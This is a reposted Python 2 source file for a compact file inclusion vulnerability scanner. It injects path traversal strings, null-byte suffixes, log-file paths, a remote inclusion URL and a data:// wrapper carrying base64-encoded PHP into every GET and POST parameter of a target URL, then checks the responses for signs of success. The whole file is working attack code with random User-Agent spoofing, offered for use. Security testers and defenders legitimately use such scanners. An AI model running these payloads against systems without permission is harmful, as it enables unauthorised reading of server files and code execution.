- A+
via: https://github.com/stamparm/DSFS
#!/usr/bin/env python
import itertools, optparse, random, re, urllib, urllib2
NAME = "Damn Small FI Scanner (DSFS) < 100 LoC (Lines of Code)"
VERSION = "0.1c"
AUTHOR = "Miroslav Stampar (@stamparm)"
LICENSE = "Public domain (FREE)"
DYNAMIC_CONTENT_VALUE = "Legal disclaimer:" # string value to search if the content is dynamically evaluated
DYNAMIC_CONTENT = "<?php echo base64_decode('%s');?>" % DYNAMIC_CONTENT_VALUE.encode("base64").strip() # used dynamic content
COOKIE, UA, REFERER = "Cookie", "User-Agent", "Referer" # optional HTTP header names
GET, POST = "GET", "POST" # enumerator-like values used for marking current phase
TIMEOUT = 30 # connection timeout in seconds
ERROR_REGEX = r"(?i)(Fatal error|Warning)(</b>)?:\s+((require|include)(_once)?|file_get_contents)\(\)" # regular expression used for detection of vulnerability specific PHP error messages
FI_TESTS = ( # each (test) item consists of ("filepath", "content recognition regex", (combining "prefixes"), (combining "suffixes"), 'inclusion type')
("", r"\[[^\]]+\]\s+\[(warn|notice|error)\]\s+\[client", ("/xampp/apache/logs/", "/apache/logs/", "/wamp/apache2/logs/", "/wamp/logs/", "/program files/wamp/apache2/logs/", "/program files/apache group/apache/logs/", "/var/log/apache/", "/var/log/apache2/", "/var/log/httpd/", "/var/log/nginx/", "/opt/lampp/logs/", "/opt/xampp/logs/"), ("error.log", "error.log%00"), 'L'),
("https://raw.githubusercontent.com/stamparm/DSFS/master/files/", "Usage of Damn Small FI Scanner", ("",), ("", "%00", "config", "config.php", "config.php%00", "config.jpg", "config.jpg%00"), 'R'),
("/etc/shells", "valid login shells", ("../../../../../../..", ""), ("", "%00"), 'L'),
("/windows/win.ini", "for 16-bit app support", ("../../../../../../..", ""), ("", "%00"), 'L'),
("data://text/plain;base64,%s" % DYNAMIC_CONTENT.encode("base64").strip(), ("<?php echo base64_decode\(|%s" % DYNAMIC_CONTENT_VALUE), ("", ), ("", ), 'S'),
)
USER_AGENTS = ( # items used for picking random HTTP User-Agent header value
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21",
"Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
"Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.2) Gecko/20020508 Netscape6/6.1",
"Mozilla/5.0 (X11;U; Linux i686; en-GB; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5",
"Opera/9.80 (X11; U; Linux i686; en-US; rv:1.9.2.3) Presto/2.2.15 Version/10.10"
)
_headers = {} # used for storing dictionary with optional header values
def _retrieve_content(url, data=None, method=None):
try:
req = urllib2.Request("".join(url[i].replace(' ', "%20") if i > url.find('?') else url[i] for i in xrange(len(url))), data, _headers)
req.get_method = lambda: method or (POST if data else GET)
retval = urllib2.urlopen(req, timeout=TIMEOUT).read()
except Exception, ex:
retval = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", str())
return retval or ""
def scan_page(url, data=None):
retval, usable = False, False
_retrieve_content(url, method=DYNAMIC_CONTENT) # dummy errorneous request
try:
for phase in (GET, POST):
current = url if phase is GET else (data or "")
for match in re.finditer(r"((\A|[?&])(?P<parameter>[\w\[\]]+)=)(?P<value>[^&]*)", current):
warned, found, usable = False, False, True
print "* scanning %s parameter '%s'" % (phase, match.group("parameter"))
for filepath, regex, prefixes, suffixes, inc_type in FI_TESTS:
for prefix, suffix in itertools.product(prefixes, suffixes):
tampered = current.replace(match.group(0), "%s%s" % (match.group(1), urllib.quote("%s%s%s" % (prefix, filepath, suffix), safe='%')))
content = (_retrieve_content(tampered, data) if phase is GET else _retrieve_content(url, tampered))
if re.search(regex, content):
print " (i) %s parameter '%s' appears to be (%s)FI vulnerable (e.g.: '%s')" % (phase, match.group("parameter"), inc_type, tampered)
if DYNAMIC_CONTENT_VALUE in content:
print " (!) content seems to be dynamically evaluated"
found = retval = True
break
if not found and not warned and re.search(ERROR_REGEX, content, re.I):
print " (i) %s parameter '%s' could be FI vulnerable" % (phase, match.group("parameter"))
warned = True
if not usable:
print " (x) no usable GET/POST parameters found"
except KeyboardInterrupt:
print "\r (x) Ctrl-C pressed"
return retval
def init_options(proxy=None, cookie=None, ua=None, referer=None):
global _headers
_headers = dict(filter(lambda _: _[1], ((COOKIE, cookie), (UA, ua or NAME), (REFERER, referer))))
urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler({'http': proxy})) if proxy else None)
if __name__ == "__main__":
print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)
parser = optparse.OptionParser(version=VERSION)
parser.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.target.com/page.php?id=1\")")
parser.add_option("--data", dest="data", help="POST data (e.g. \"query=test\")")
parser.add_option("--cookie", dest="cookie", help="HTTP Cookie header value")
parser.add_option("--user-agent", dest="ua", help="HTTP User-Agent header value")
parser.add_option("--random-agent", dest="randomAgent", action="store_true", help="Use randomly selected HTTP User-Agent header value")
parser.add_option("--referer", dest="referer", help="HTTP Referer header value")
parser.add_option("--proxy", dest="proxy", help="HTTP proxy address (e.g. \"http://127.0.0.1:8080\")")
options, _ = parser.parse_args()
if options.url:
init_options(options.proxy, options.cookie, options.ua if not options.randomAgent else random.choice(USER_AGENTS), options.referer)
result = scan_page(options.url if options.url.startswith("http") else "http://%s" % options.url, options.data)
print "\nscan results: %s vulnerabilities found" % ("possible" if result else "no")
else:
parser.print_help()
